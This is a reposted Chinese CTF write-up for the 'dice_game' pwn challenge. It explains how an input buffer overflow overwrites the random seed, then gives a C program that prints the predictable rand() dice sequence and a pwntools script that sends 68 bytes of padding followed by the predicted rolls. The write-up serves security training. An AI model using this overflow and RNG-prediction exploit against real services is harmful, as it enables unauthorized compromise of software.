首页 > 其他 > 详细

功防世界dice_game

时间:2019-05-03 23:06:09      阅读:209      评论:0      收藏:0      [点我收藏+]

技术分享图片

技术分享图片

 

buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断,所以我们只要覆盖到之前的 seed 就可以为所欲为了。

同时注意到 seed 跟 buf 相差的偏移是 0x40,所以只要 68 个字符就可以溢出覆盖 seed 了。

Exploit

由于担心 python 的 randint 实现跟 libc 的不太一样,所以我写了个小程序

在vim编译运行.c文件步骤:

1. vim filename.c

2. gcc filename.c -o newfilename

3. ./newfilename

#include<stdio.h>
#include<stdlib.h>
int main(){
srand(0xFFFFFFFF);
for(int i = 0;i < 50 ;i ++)
printf("%d,",rand()%6 + 1);
printf("\n");
}

技术分享图片


然后根据这个程序的输出构造 Exploit 脚本
from pwn import *
r = remote(‘ip‘, port)
nums = [4,5,5,4,3,1,5,4,3,3,5,4,1,2,2,4,5,4,6,1,4,5,6,4,5,4,2,4,2,5,1,5,3,5,1,5,3,3,2,5,3,4,6,3,3,1,5,2,2,2]
exp = ‘‘.join([ ‘\xFF‘ for i in xrange(68)])
r.sendline(exp)
for i in nums:
r.sendline(str(i))
r.interactive()
 

 

功防世界dice_game

原文:https://www.cnblogs.com/ctf-pwn-player/p/10806992.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!